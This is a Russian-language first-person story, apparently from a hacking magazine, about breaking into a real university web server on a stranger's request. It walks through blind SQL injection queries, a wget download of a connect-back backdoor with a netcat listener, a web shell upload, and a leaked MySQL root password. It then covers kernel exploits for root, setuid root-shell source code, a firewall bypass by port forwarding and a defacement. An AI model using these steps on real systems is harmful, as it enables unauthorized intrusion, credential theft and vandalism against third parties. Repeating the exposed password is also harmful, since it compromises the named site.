Однажды на форуме rst.void.ru я прочел объявление о том, что один человек хочет чтобы сломали сайт его универа
www.ugatu.ac.ru. Меня, естественно, заинтересовало это предложение.
Не долго думая я зашел браузером на их сайт. Он был самописный. Кстати, заказчик говорил, что их админы ездили в Штаты и заняли первое место по программированию. Типа баги найти у них будет проблематично. 

Я увидел линк 

http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405

и подставил кавычку . В ответ появилась инфа об ошибке, спецсимволы не фильтровались: 

Warning
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/httpd/docs/www.ugatu.ac.ru/Aviator/read_article.php on line 7 

Я попробовал использовать UNION, но ничего не получилось. Тогда я сформировал такие запросы: 

http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND 1=1 — выводит статью 

а запрос 

http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND 1=2 — нет 

Это означало, что можно посимвольно перебирать поля базы данных.
Для начала я решил узнать имя пользователя БД сформировав такой запрос:

http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND ascii(lower(substring(user(),1,1)))>110 — запрос не вывел статью, а
значит первая буква имени стоит до n, где функция substring выдирает первый символ имени, lower — переводит в нижний регистр, а ascii — в ASCII-код. 

Меняя значения я получил первую букву имени — a. Аналогично я проделал и для второго символа. В результате перебора я получил имя, версию и название базы MySQL: 

version()=3.23
user()=av@localhost
database():av

Версия MySQL меньше 4.0, а значит подзапросы и UNION использовать нельзя. Можно было только перебирать поля. Я выяснил, что есть поле title. Аналогичным можно перебирать: 

http://www.ugatu.ac.ru/Aviator/read_article.php?id=1405 AND ascii(lower(substring(title,1,1)))>110. 

Но я это делать не стал, т. к. в поле title была статья. Никаких полей с логинами и пассами в базе не было.
В общем SQL сделать ничего было нельзя. 

Я решил продолжить исследование дальше. Менял параметры скриптов, ставил
<script>alert()</script>, но все было бесполезно. На сайте также находилась админка http://www.ugatu.ac.ru/admin. Ее я также пробовал на sql-injection, но увы. Потом решил поискать скрипты через google, вбив site:www.ugatu.ac.ru inurl:php. Было найдено несколько скриптов, выдающих ошибки, но толку от этого не было. Я
рассчитывал найти хотя бы xss, что бы увести админские куки, но все параметры фильтровались. Поиск хостящихся сайтов через www.domainsdb.net также ни к чему хорошему не привел. 

И вот я решил изменить стратегию взлома, просканировав порты на серваке. Сканил как всегда
nmap’ом со своего шелла. 

На серваке были открыты: 21, 25, 53, 80, 106, 143, 465,
888, 3306, 8010, 8100, 9010 ,9100 и 11457. За фильтром были: 11,
22, 23, 111, 117, 135, 137, 138, 139, 445, 512, 513, 514, 593, 2000, 2001. На 21-м висел vsFTPD, сплоитов для которого я не нашел. На 25-м — CommuniGate Pro 4.1.8, для него я нашел сплоит и запустил со своего шелла. Но ничего из этого не вышло. Я телнетился и заходил браузером на другие порты.
Дошел и до порта 11457, выполнив telnet www.ugatu.ac.ru 11457 я получил полноценный шелл с правами apache! Как я сразу понял,
кто-то открыл порт с помощью шелла от rst. Дело в том что на серваке хостилось еще несколько сайтов, которые почему-то не нашел Domainsdb.net. И шелл видимо был залит на один из сайтов. 

Дальше узнал, что на серваке стоит Linux с ядром 2.6.10. Из качалок присутствовал wget. Работать с системой на этом порту было не удобно, поэтому я решил залить туда connect-бэкдор: 

wget http://my_site.ru/bd.c -O /tmp/bd.c 

Скомпилил его, запустил на своей тачке netcat: 

nc -l -p 4000
Запустил 
./bd my_IP. 

Потом решил найти доступную на записью директорию для заливки шелла от rst, выполни команду 

find /home/httpd/docs/www.ugatu.ac.ru -type d -perm -2 -ls

Такая дира нашлась: 

home/httpd/docs/www.ugatu.ac.ru/eldar/MO/forum. 

Скрипт был залит. Теперь к нему можно было обратиться по адресу: 

http://www.ugatu.ac.ru/eldar/MO/forum/r57shell.php. 

Также был залит remview и начался поиск конфигурационных файлов. 

При просмотре одного из конфигов был найден рутовый пароли к mysql: 

$cfgServers[1][‘stduser’] = ‘root’; 
$cfgServers[1][‘stdpass’] = ‘ifrfk’;

Таким образом я получил доступ к всем базам данных сервака.
Настала пора и root’а. Я залил на серв пару эксплотов с http://milw0rm.com для ядер 2.6.x, скомпилил, запустил и обломался… Но мне захотелось также испытать сплоиты для ядер >2.6.13, но <2.6.17.4. На удачу нельзя было надеяться, т.к. ядро было 2.6.10, но все же… И вот запустив один из
сплоитов
я через несколько секунд получил root’а. А ведь ядро было меньше 2.6.13. 

Залил файл root.c, содержания: 

main()
{
setuid(0);
setgid(0);
system(«/bin/bash»);
}

Скомплил, установил chmod 4755 root, закинул в неприметное место. Все, теперь заходя под любым юзером, запуская его я получал абсолютные права…
Теперь пришло время для обхода файервола. Как известно 22-й порт фильтровался и был доступен только из локалки:

telnet 127.0.0.1 22 

Для обхода файера было решено использовать прогу datapipe.pl Настраиваем
перенаправлять данные на порт 2022: 

локальный порт — 2022
удаленный хост — 
www.ugatu.ac.ru 
удаленный порт — 22

Теперь соединяемся telnet’ом с 2022-м портом сервака и получаем SSH… 

Ну вот и вся история. Я залил дефейс на сайт и показал все заказчику.
Кстати он до сих пор висит на сайте, видимо
не очень то он (сайт) и нужен своим
создателям.

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…